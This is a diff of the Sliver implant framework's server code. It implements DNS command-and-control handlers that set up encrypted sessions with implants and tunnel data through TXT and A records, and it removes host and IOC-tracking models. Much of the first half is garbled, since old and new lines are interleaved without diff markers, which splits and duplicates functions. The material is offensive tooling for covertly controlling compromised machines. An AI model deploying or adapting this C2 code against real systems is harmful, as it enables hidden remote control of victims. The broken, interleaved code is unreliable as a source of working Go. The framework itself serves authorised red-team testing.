randBuf := make([]byte, 4)
secureRand.Read(randBuf)
// Ensure non-zeros with various bitmasks
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
}
// ---------------------------
// C2 Record Handlers
// ---------------------------
func handleTXT(domain string, subdomain string, req *dns.Msg) *dns.Msg {
q := req.Question[0]
fields := strings.Split(subdomain, ".")
resp := new(dns.Msg)
resp.SetReply(req)
msgType := strings.ToLower(fields[len(fields)-1])
switch msgType {
case domainKeyMsg: // Send PubKey - _(nonce).(slivername).domainkey.example.com
result, err := getDomainKeyFor(domain)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
case blockReqMsg: // Get block: _(nonce).(start).(stop).(block id).b.example.com
if len(fields) == 5 {
startIndex := fields[1]
stopIndex := fields[2]
blockID := fields[3]
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: dnsSendBlocks(blockID, startIndex, stopIndex),
}
resp.Answer = append(resp.Answer, txt)
} else {
dnsLog.Infof("Block request has invalid number of fields %d expected %d", len(fields), 5)
}
case clearBlockMsg: // Clear block: _(nonce).(block id)._cb.example.com
if len(fields) == 3 {
result := 0
if clearSendBlock(fields[1]) {
result = 1
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: []string{fmt.Sprintf("%d", result)},
}
resp.Answer = append(resp.Answer, txt)
}
case "_" + sessionInitMsg:
fallthrough
case sessionInitMsg: // Session init: (data)...(seq).(nonce).(_)si.example.com
result, err := startDNSSession(domain, fields)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
case "_" + sessionEnvelopeMsg:
fallthrough
case sessionEnvelopeMsg:
result, err := dnsSessionEnvelope(domain, fields)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
case sessionPollingMsg:
result, err := dnsSessionPoll(domain, fields)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
default:
dnsLog.Infof("Unknown msg type '%s' in TXT req", fields[len(fields)-1])
checksum, dnsMsg := parseC2Query(subdomain)
if dnsMsg == nil {
dnsLog.Errorf("Failed to parse TXT query")
return nil
}
// Execute action based on message type
txtRecords := []string{}
switch dnsMsg.Type {
case dnspb.DNSMessageType_DOMAIN_KEY:
blockID := handleDomainKeyQuery(domain, dnsMsg)
data, _ := proto.Marshal(&dnspb.DNSMessage{
N: checksum,
Data: blockID,
})
record := string(new(encoders.Base64).Encode(data))
txtRecords = append(txtRecords, record)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: txtRecords,
}
resp.Answer = append(resp.Answer, txt)
return resp
}
// --------------------------- FIELDS ---------------------------
func handleA(domain string, subdomain string, req *dns.Msg) *dns.Msg {
q := req.Question[0]
resp := new(dns.Msg)
resp.SetReply(req)
func getFieldMsgType(fields []string) (string, error) {
if len(fields) < 1 {
return "", errors.New("Invalid number of fields in session init message (nonce)")
checksum, dnsMsg := parseC2Query(subdomain)
if dnsMsg == nil {
dnsLog.Errorf("Failed to parse A query")
return nil
}
return fields[len(fields)-1], nil
switch dnsMsg.Type {
case dnspb.DNSMessageType_NOP:
break
}
checksumBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(checksumBuf, checksum)
resp.Answer = append(resp.Answer, &dns.A{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
A: checksumBuf,
})
return resp
}
func getFieldSessionID(fields []string) (string, error) {
if len(fields) < 2 {
return "", errors.New("Invalid number of fields in session init message (session id)")
// ---------------------------
// C2 Handler
// ---------------------------
// This parses the C2 message and performs actions based on the request
// the response is a CRC32 of the encoded data in the message
func parseC2Query(subdomain string) (uint32, *dnspb.DNSMessage) {
subdomainData := strings.Join(strings.Split(subdomain, "."), "")
dnsLog.Debugf("Subdomain = %v, Data = %v", subdomain, subdomainData)
dnsMsg := decodeMessage(subdomainData)
if dnsMsg == nil {
return 0, nil
}
sessionID := fields[len(fields)-2]
if sessionID == "_" {
return "", errors.New("Session ID is null")
}
return sessionID, nil
checksum := crc32.Checksum(dnsMsg.Data, crc32.IEEETable)
return checksum, dnsMsg
}
func getFieldNonce(fields []string) (string, error) {
if len(fields) < 3 {
return "", errors.New("Invalid number of fields in session init message (nonce)")
func decodeMessage(subdomainData string) *dnspb.DNSMessage {
encoders := detectEncoding(subdomainData)
query := &dnspb.DNSMessage{}
for _, encoder := range encoders {
dnsLog.Debugf("Attempting to decode subdomain data with %v", encoder)
data, err := encoder.Decode([]byte(subdomainData))
if err != nil {
dnsLog.Debugf("Decode attempt failed %s, continue ...", err)
continue
}
err = proto.Unmarshal(data, query)
if err != nil {
dnsLog.Debugf("Failed to parse pb %s, continue ...", err)
continue
}
return query
}
return fields[len(fields)-3], nil
return nil
}
func getFieldSeq(fields []string) (int, error) {
if len(fields) < 4 {
return -1, errors.New("Invalid number of fields in session init message (seq)")
// This function attempts to detect the most likely encoder used by the implant
// we return a list of encoders in order of most likely to least likely
func detectEncoding(subdomainData string) []encoders.Encoder {
// Our version of base32 is missing chars: i, l, o, s
// if any of these appear the message must be base62
base62Chars := strings.ContainsAny(subdomainData, "silo") // "silo" simply appeases my spell checker
if base62Chars {
return []encoders.Encoder{new(encoders.Base62)}
}
rawSeq := fields[len(fields)-4]
data, err := dnsDecodeString(rawSeq)
// Okay now we detect if the message only contains lower case letters
// our base32 encoder only uses lower case but a resolver could have
// messed with the domain letter cases on the way over to us. So we
// say it's likely base62 if it contains a mix but fallback to base32
if strings.ContainsAny(subdomainData, "ABCDEFGHIJKLMNOPQRSTUVWXYZ") {
return []encoders.Encoder{new(encoders.Base62), new(encoders.Base32)}
} else {
return []encoders.Encoder{new(encoders.Base32), new(encoders.Base64)}
}
}
// --------------------------- DNS HANDLERS ---------------------------
func encodeSendBlock(domain string, data []byte) *Block {
encodedData := new(encoders.Base64).Encode(data)
blockData := [][]byte{}
for index := 0; index < len(encodedData); {
end := index + 254
if len(encodedData) < end {
end = len(encodedData)
}
blockData = append(blockData, encodedData[index:end])
index += 254
}
return &Block{
ID: blockID(),
Size: len(data),
data: blockData,
Started: time.Now(),
Mutex: sync.RWMutex{},
}
}
func handleDomainKeyQuery(domain string, query *dnspb.DNSMessage) []byte {
domainKey, err := getDomainKeyFor(domain)
if err != nil {
dnsLog.Infof("Failed to decode seq field: %#v", rawSeq)
return 0, err
dnsLog.Errorf("Failed to find domain key for '%s' %s", domain, err)
return nil
}
index := int(binary.LittleEndian.Uint32(data))
return index, nil
block := encodeSendBlock(domain, domainKey)
sendBlocksMutex.Lock()
defer sendBlocksMutex.Unlock()
sendBlocks[block.ID] = block
return []byte{}
}
func getFieldSubdata(fields []string) ([]string, error) {
if len(fields) < 5 {
return []string{}, errors.New("Invalid number of fields in session init message (subdata)")
}
subdataFields := len(fields) - 4
dnsLog.Infof("Domain contains %d subdata fields", subdataFields)
return fields[:subdataFields], nil
}
// --------------------------- DNS SESSION START ---------------------------
// Returns an confirmation value (e.g. exit code 0 non-0) and error
func startDNSSession(domain string, fields []string) ([]string, error) {
dnsLog.Infof("[start session] fields = %#v", fields)
func startDNSSession(msgID uint32, domain string) ([]string, error) {
msgType, err := getFieldMsgType(fields)
if err != nil {
return []string{"1"}, err
}
nonce, err := getFieldNonce(fields)
if err != nil {
return []string{"1"}, err
}
if !strings.HasPrefix(msgType, "_") {
return dnsSegment(fields)
}
dnsLog.Infof("Complete session init message received, reassembling ...")
// TODO: We don't have replay protection against the RSA-encrypt
// sessionInit messages, but I don't think it's an issue ...
encryptedSessionInit, err := dnsSegmentReassemble(nonce)
if err != nil {
return []string{"1"}, err
}
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
dnsLog.Infof("Failed to fetch RSA private key")
@@ -452,7 +480,7 @@ func startDNSSession(domain string, fields []string) ([]string, error) {
sessionID := dnsSessionID()
dnsLog.Infof("Starting new DNS session with id = %s", sessionID)
dnsSessionsMutex.Lock()
(*dnsSessions)[sessionID] = &DNSSession{
dnsSessions[sessionID] = &DNSSession{
ID: sessionID,
Session: session,
Key: aesKey,
@@ -461,359 +489,16 @@ func startDNSSession(domain string, fields []string) ([]string, error) {
dnsSessionsMutex.Unlock()
encryptedSessionID, _ := cryptography.GCMEncrypt(aesKey, []byte(sessionID))
result, err := dnsSendOnce(encryptedSessionID)
if err != nil {
dnsLog.Infof("Failed to encode message into single result %v", err)
return []string{"1"}, err
}
return result, nil
}
// --------------------------- DNS SESSION RECV ---------------------------
func dnsSessionEnvelope(domain string, fields []string) ([]string, error) {
dnsLog.Infof("[session envelope] fields = %#v", fields)
msgType, err := getFieldMsgType(fields)
if err != nil {
return []string{"1"}, err
}
nonce, err := getFieldNonce(fields)
if err != nil {
return []string{"1"}, err
}
if !strings.HasPrefix(msgType, "_") {
return dnsSegment(fields)
}
dnsLog.Infof("Complete envelope received, reassembling ...")
encryptedDNSEnvelope, err := dnsSegmentReassemble(nonce)
if err != nil {
return []string{"1"}, errors.New("Failed to reassemble segments")
}
sessionID, err := getFieldSessionID(fields)
if err != nil {
return []string{"1"}, err
}
dnsSessionsMutex.Lock()
defer dnsSessionsMutex.Unlock()
if dnsSession, ok := (*dnsSessions)[sessionID]; ok {
dnsLog.Infof("Envelope has valid DNS session (%s)", dnsSession.ID)
if dnsSession.isReplayAttack(encryptedDNSEnvelope) {
dnsLog.Infof("WARNING: Replay attack detected, ignore request")
return []string{"1"}, errors.New("Replay attack")
}
envelopeData, err := cryptography.GCMDecrypt(dnsSession.Key, encryptedDNSEnvelope)
if err != nil {
return []string{"1"}, errors.New("Failed to decrypt DNS envelope")
}
envelope := &sliverpb.Envelope{}
proto.Unmarshal(envelopeData, envelope)
dnsLog.Infof("Envelope Type = %#v RespID = %#v", envelope.Type, envelope.ID)
dnsSession.Session.UpdateCheckin()
// Response Envelope or Handler
handlers := serverHandlers.GetSessionHandlers()
if envelope.ID != 0 {
dnsSession.Session.RespMutex.Lock()
defer dnsSession.Session.RespMutex.Unlock()
if resp, ok := dnsSession.Session.Resp[envelope.ID]; ok {
resp <- envelope
}
} else if handler, ok := handlers[envelope.Type]; ok {
handler.(func(*core.Session, []byte))(dnsSession.Session, envelope.Data)
}
return []string{"0"}, nil
}
dnsLog.Infof("Invalid session id '%#v'", sessionID)
return []string{"1"}, errors.New("Invalid session ID")
}
// Client should have sent all of the data, attempt to reassemble segments
func dnsSegmentReassemble(nonce string) ([]byte, error) {
dnsSegmentReassemblerMutex.Lock()
defer dnsSegmentReassemblerMutex.Unlock()
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
var keys []int
for k := range *reasm {
keys = append(keys, k)
}
sort.Ints(keys)
orderedSubdata := []string{}
for _, k := range keys {
orderedSubdata = append(orderedSubdata, (*reasm)[k]...)
}
data, err := dnsDecodeString(strings.Join(orderedSubdata, ""))
if err != nil {
dnsLog.Infof("Failed to decode session init: %v", err)
return nil, err
}
//BUG - in the event that the session init msg does not make it to the client, this will fail. This has been
//observed consistently (Namely due to the race condition bug that is also being fixed in dnsSessionPoll).
//Currently a memory leak. Consider tracking moving the cleanup code to after polling has
//begun to ensure the initial handshake was successful.
//
//delete((*dnsSegmentReassembler), nonce)
return data, nil
}
return nil, fmt.Errorf("Invalid nonce '%#v' (session init reassembler)", nonce)
}
// The domain is only a segment of the startDNSSession message, so we just store the data
func dnsSegment(fields []string) ([]string, error) {
dnsSegmentReassemblerMutex.Lock()
defer dnsSegmentReassemblerMutex.Unlock()
nonce, _ := getFieldNonce(fields)
index, err := getFieldSeq(fields)
if err != nil {
return []string{"1"}, err
}
subdata, err := getFieldSubdata(fields)
if err != nil {
return []string{"1"}, err
}
if _, ok := (*dnsSegmentReassembler)[nonce]; !ok {
(*dnsSegmentReassembler)[nonce] = &map[int][]string{}
}
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
(*reasm)[index] = subdata
return []string{"0"}, nil
}
dnsLog.Infof("Invalid nonce (session segment): %#v", nonce)
return []string{"1"}, errors.New("Invalid nonce (session segment)")
}
// TODO: Avoid double-fetch
func getDomainKeyFor(domain string) ([]string, error) {
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
certs.C2ServerGenerateRSACertificate(domain)
}
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
return nil, err
}
return dnsSendOnce(certPEM)
}
// --------------------------- DNS SESSION SEND ---------------------------
// Send all response data in a single TXT record, limited to 65535 bytes
func dnsSendOnce(rawData []byte) ([]string, error) {
if 65535 <= base64.RawStdEncoding.EncodedLen(len(rawData)) {
return nil, errors.New("Response too large to encode into one TXT record")
}
data := base64.RawStdEncoding.EncodeToString(rawData)
dnsLog.Infof("Encoding single resp: %#v", data)
txts := []string{}
size := int(math.Ceil(float64(len(data)) / 255.0))
for index := 0; index < size; index++ {
start := index * 255
stop := start + 255
if len(data) < stop {
stop = len(data)
}
txts = append(txts, data[start:stop])
}
return txts, nil
}
func dnsSessionPoll(domain string, fields []string) ([]string, error) {
sessionID, err := getFieldSessionID(fields)
if err != nil {
return []string{"1"}, errors.New("invalid session id (session poll)")
}
dnsSessionsMutex.Lock()
dnsSession, found := (*dnsSessions)[sessionID]
if !found {
dnsSessionsMutex.Unlock()
b64SessionId := base64.RawStdEncoding.EncodeToString([]byte(sessionID))
return []string{b64SessionId}, errors.New("invalid session (nil pointer)")
}
dnsSessionsMutex.Unlock()
isDrained := false
envelopes := []*sliverpb.Envelope{}
for !isDrained {
select {
case envelope := <-dnsSession.Session.Send:
dnsLog.Infof("New message from send channel ...")
envelopes = append(envelopes, envelope)
default:
isDrained = true
}
}
dnsSession.Session.UpdateCheckin()
if 0 < len(envelopes) {
dnsLog.Infof("%d new message(s) for session id %#v", len(envelopes), sessionID)
dnsPoll := &sliverpb.DNSPoll{}
for _, envelope := range envelopes {
data, err := proto.Marshal(envelope)
if err != nil {
dnsLog.Infof("Failed to encode envelope %v", err)
continue
}
encryptedEnvelopeData, err := cryptography.GCMEncrypt(dnsSession.Key, data)
if err != nil {
dnsLog.Infof("Failed to encrypt poll data %v", err)
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
}
blockID, size := storeSendBlocks(encryptedEnvelopeData)
dnsPoll.Blocks = append(dnsPoll.Blocks, &sliverpb.DNSBlockHeader{
ID: blockID,
Size: uint32(size),
})
}
pollData, err := proto.Marshal(dnsPoll)
if err != nil {
dnsLog.Infof("Failed to encode envelope %v", err)
return []string{"1"}, errors.New("Failed to encode dns poll data")
}
encryptedPollData, err := cryptography.GCMEncrypt(dnsSession.Key, pollData)
if err != nil {
dnsLog.Infof("Failed to encrypt poll data %v", err)
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
}
return dnsSendOnce(encryptedPollData)
}
dnsLog.Infof("No new message for session id %#v", sessionID)
return []string{"0"}, nil
}
// Send blocks of data via multiple DNS TXT responses
func dnsSendBlocks(blockID string, startIndex string, stopIndex string) []string {
start, err := strconv.Atoi(startIndex)
if err != nil {
return []string{}
}
stop, err := strconv.Atoi(stopIndex)
if err != nil {
return []string{}
}
if stop < start {
return []string{}
}
dnsLog.Infof("Send blocks %d to %d for ID %s", start, stop, blockID)
sendBlocksMutex.Lock()
defer sendBlocksMutex.Unlock()
respBlocks := []string{}
if block, ok := (*sendBlocks)[blockID]; ok {
for index := start; index < stop; index++ {
if index < len(block.Data) {
respBlocks = append(respBlocks, block.Data[index])
}
}
dnsLog.Infof("Sending %d response block(s)", len(respBlocks))
return respBlocks
}
dnsLog.Infof("Invalid block ID: %#v", blockID)
return []string{}
}
// Clear send blocks of data from memory
func clearSendBlock(blockID string) bool {
sendBlocksMutex.Lock()
defer sendBlocksMutex.Unlock()
if _, ok := (*sendBlocks)[blockID]; ok {
delete(*sendBlocks, blockID)
return true
}
return false
}
// Stores encoded blocks fo data into "sendBlocks"
func storeSendBlocks(data []byte) (string, int) {
blockID := generateBlockID()
sendBlock := &SendBlock{
ID: blockID,
Data: []string{},
}
for index := 0; index < len(data); index += byteBlockSize {
start := index
stop := index + byteBlockSize
if len(data) < stop {
stop = len(data)
}
encoded := base64.RawStdEncoding.EncodeToString(data[start:stop])
dnsLog.Infof("Encoded block is %d bytes", len(encoded))
sendBlock.Data = append(sendBlock.Data, encoded)
}
sendBlocksMutex.Lock()
(*sendBlocks)[sendBlock.ID] = sendBlock
sendBlocksMutex.Unlock()
return sendBlock.ID, len(sendBlock.Data)
}
// --------------------------- HELPERS ---------------------------
// Unique IDs, no need for secure random
func generateBlockID() string {
insecureRand.Seed(time.Now().UnixNano())
blockID := []rune{}
for i := 0; i < blockIDSize; i++ {
index := insecureRand.Intn(len(dnsCharSet))
blockID = append(blockID, dnsCharSet[index])
}
return string(blockID)
}
func fingerprintSHA256(block *pem.Block) string {
hash := sha256.Sum256(block.Bytes)
b64hash := base64.RawStdEncoding.EncodeToString(hash[:])
return strings.TrimRight(b64hash, "=")
}
// TODO: Add a geofilter to make it look like we're in various regions of the world.
// We don't really need to use srand but it's just easier to operate on bytes here.
func randomIP() net.IP {
randBuf := make([]byte, 4)
secureRand.Read(randBuf)
// Ensure non-zeros with various bitmasks
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
}
// --------------------------- ENCODER ---------------------------
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
// EncodeToString encodes the given byte slice in base32
func dnsEncodeToString(input []byte) string {
return strings.TrimRight(sliverBase32.EncodeToString(input), "=")
}
// DecodeString decodes the given base32 encoded bytes
func dnsDecodeString(raw string) ([]byte, error) {
pad := 8 - (len(raw) % 8)
padded := []byte(raw)
if pad != 8 {
padded = make([]byte, len(raw)+pad)
copy(padded, raw)
for index := 0; index < pad; index++ {
padded[len(raw)+index] = '='
}
}
// dnsLog.Infof("[base32] %#v", string(padded))
return sliverBase32.DecodeString(string(padded))
}
// SessionIDs are public parameters in this use case
// so it's only important that they're unique
func dnsSessionID() string {
@@ -823,5 +508,23 @@ func dnsSessionID() string {
index := insecureRand.Intn(len(dnsCharSet))
sessionID = append(sessionID, dnsCharSet[index])
}
return "_" + string(sessionID)
return string(sessionID)
}
func blockID() uint32 {
randBuf := make([]byte, 4)
secureRand.Read(randBuf)
return binary.LittleEndian.Uint32(randBuf)
}
func getDomainKeyFor(domain string) ([]byte, error) {
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
certs.C2ServerGenerateRSACertificate(domain)
}
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
return nil, err
}
return certPEM, nil
}
+1
View File
@@ -113,4 +113,5 @@ func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
},
HelpGroup: consts.MultiplayerHelpGroup,
})
}
-71
View File
@@ -1,71 +0,0 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
var (
coreLog = log.NamedLogger("core", "hosts")
)
func StartEventAutomation() {
go func() {
for event := range EventBroker.Subscribe() {
switch event.EventType {
case consts.SessionOpenedEvent:
if event.Session != nil {
hostsSessionCallback(event.Session)
}
}
}
}()
}
// Triggered on new sessione events, checks to see if the host is in
// the database and adds it if not.
func hostsSessionCallback(session *Session) {
dbSession := db.Session()
_, err := db.HostByHostUUID(session.UUID)
if err != nil && err != gorm.ErrRecordNotFound {
coreLog.Error(err)
return
}
if err == gorm.ErrRecordNotFound {
err := dbSession.Create(&models.Host{
HostUUID: uuid.FromStringOrNil(session.UUID),
Hostname: session.Hostname,
OSVersion: session.Os,
IOCs: []models.IOC{},
ExtensionData: []models.ExtensionData{},
}).Error
if err != nil {
coreLog.Error(err)
return
}
}
}
-1
View File
@@ -72,7 +72,6 @@ type Session struct {
ProxyURL string
PollInterval uint32
Burned bool
Extensions []string
}
// ToProtobuf - Get the protobuf version of the object
-42
View File
@@ -25,7 +25,6 @@ package db
import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
@@ -189,44 +188,3 @@ func WGPeerIPs() ([]string, error) {
}
return ips, nil
}
// ListHosts - List of all hosts in the database
func ListHosts() ([]*models.Host, error) {
hosts := []*models.Host{}
err := Session().Where(
&models.Host{},
).Preload("IOCs").Preload("ExtensionData").Find(&hosts).Error
return hosts, err
}
// HostByHostID - Get host by the session's reported HostUUID
func HostByHostID(id uuid.UUID) (*models.Host, error) {
host := models.Host{}
err := Session().Where(&models.Host{ID: id}).First(&host).Error
if err != nil {
return nil, err
}
return &host, nil
}
// HostByHostUUID - Get host by the session's reported HostUUID
func HostByHostUUID(id string) (*models.Host, error) {
host := models.Host{}
err := Session().Where(
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
).Preload("IOCs").Preload("ExtensionData").Find(&host).Error
if err != nil {
return nil, err
}
return &host, nil
}
// IOCByID - Select an IOC by ID
func IOCByID(id string) (*models.IOC, error) {
ioc := &models.IOC{}
err := Session().Where(
&models.IOC{ID: uuid.FromStringOrNil(id)},
).First(ioc).Error
return ioc, err
}
-133
View File
@@ -1,133 +0,0 @@
package models
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
// Host - Represents a host machine
type Host struct {
gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
HostUUID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
Hostname string
OSVersion string // Verbore OS version
IOCs []IOC
ExtensionData []ExtensionData
}
// BeforeCreate - GORM hook
func (h *Host) BeforeCreate(tx *gorm.DB) (err error) {
h.ID, err = uuid.NewV4()
if err != nil {
return err
}
h.CreatedAt = time.Now()
return nil
}
func (h *Host) ToProtobuf() *clientpb.Host {
return &clientpb.Host{
HostUUID: h.HostUUID.String(),
Hostname: h.Hostname,
OSVersion: h.OSVersion,
IOCs: h.iocsToProtobuf(),
ExtensionData: h.extensionDataToProtobuf(),
}
}
func (h *Host) iocsToProtobuf() []*clientpb.IOC {
iocs := []*clientpb.IOC{}
for _, dbIOC := range h.IOCs {
iocs = append(iocs, dbIOC.ToProtobuf())
}
return iocs
}
func (h *Host) extensionDataToProtobuf() map[string]*clientpb.ExtensionData {
extData := map[string]*clientpb.ExtensionData{}
for _, dbExtData := range h.ExtensionData {
extData[dbExtData.Name] = &clientpb.ExtensionData{
Output: dbExtData.Output,
}
}
return extData
}
// IOC - Represents an indicator of compromise, generally a file we've
// uploaded to a remote system.
type IOC struct {
gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
HostID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
Path string
FileHash string
}
// BeforeCreate - GORM hook
func (i *IOC) BeforeCreate(tx *gorm.DB) (err error) {
i.ID, err = uuid.NewV4()
if err != nil {
return err
}
i.CreatedAt = time.Now()
return nil
}
func (i *IOC) ToProtobuf() *clientpb.IOC {
return &clientpb.IOC{
Path: i.Path,
FileHash: i.FileHash,
}
}
// ExtensionData - Represents an indicator of compromise, generally a file we've
// uploaded to a remote system.
type ExtensionData struct {
gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
HostID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
Name string
Output string
}
// BeforeCreate - GORM hook
func (e *ExtensionData) BeforeCreate(tx *gorm.DB) (err error) {
e.ID, err = uuid.NewV4()
if err != nil {
return err
}
e.CreatedAt = time.Now()
return nil
}
-2
View File
@@ -36,8 +36,6 @@ type Loot struct {
FileType int
CredentialType int
Name string
OriginHost uuid.UUID `gorm:"type:uuid;"`
}
// BeforeCreate - GORM hook
+1 -1
View File
@@ -61,7 +61,7 @@ type WebContent struct {
// gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
WebsiteID uuid.UUID `gorm:"type:uuid;"`
WebsiteID uuid.UUID
Path string `gorm:"primaryKey"`
Size int
-3
View File
@@ -54,9 +54,6 @@ func newDBClient() *gorm.DB {
err := dbClient.AutoMigrate(
&models.DNSCanary{},
&models.Certificate{},
&models.Host{},
&models.IOC{},
&models.ExtensionData{},
&models.ImplantC2{},
&models.ImplantConfig{},
&models.ImplantBuild{},
+4 -3
View File
@@ -27,6 +27,8 @@ var (
srcFiles = []string{
"constants/constants.go",
"encoders/base32.go",
"encoders/base62.go",
"encoders/base64.go",
"encoders/combos.go",
"encoders/encoders.go",
@@ -41,9 +43,6 @@ var (
"evasion/evasion_linux.go",
"evasion/evasion_windows.go",
"extension/extension.go",
"extension/extension_windows.go",
"forwarder/forwarder.go",
"forwarder/socks.go",
"forwarder/portforward.go",
@@ -168,6 +167,8 @@ var (
genericSrcFiles = []string{
"constants/constants.go",
"encoders/base32.go",
"encoders/base62.go",
"encoders/base64.go",
"encoders/combos.go",
"encoders/encoders.go",
-37
View File
@@ -1,37 +0,0 @@
package rpc
import (
"context"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// RegisterExtension registers a new extension in the implant
func (rpc *Server) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
resp := &sliverpb.RegisterExtension{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// ListExtensions lists the registered extensions
func (rpc *Server) ListExtensions(ctx context.Context, req *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
resp := &sliverpb.ListExtensions{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// CallExtension calls a specific export of the loaded extension
func (rpc *Server) CallExtension(ctx context.Context, req *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
resp := &sliverpb.CallExtension{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
-42
View File
@@ -20,18 +20,8 @@ package rpc
import (
"context"
"crypto/sha256"
"fmt"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
)
var (
fsLog = log.NamedLogger("rcp", "fs")
)
// Ls - List a directory
@@ -101,37 +91,5 @@ func (rpc *Server) Upload(ctx context.Context, req *sliverpb.UploadReq) (*sliver
if err != nil {
return nil, err
}
if req.IsIOC {
go trackIOC(req, resp)
}
return resp, nil
}
func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
fsLog.Debugf("Adding IOC to database ...")
request := req.GetRequest()
if request == nil {
fsLog.Error("No request for upload")
return
}
session := core.Sessions.Get(request.SessionID)
if session == nil {
fsLog.Error("No session for upload request")
return
}
host, err := db.HostByHostUUID(session.UUID)
if err != nil {
fsLog.Errorf("No host for session uuid %v", session.UUID)
return
}
sum := sha256.Sum256(req.Data)
ioc := &models.IOC{
HostID: host.ID,
Path: resp.Path,
FileHash: fmt.Sprintf("%x", sum),
}
if db.Session().Create(ioc).Error != nil {
fsLog.Error("Failed to create IOC")
}
}
-80
View File
@@ -1,80 +0,0 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
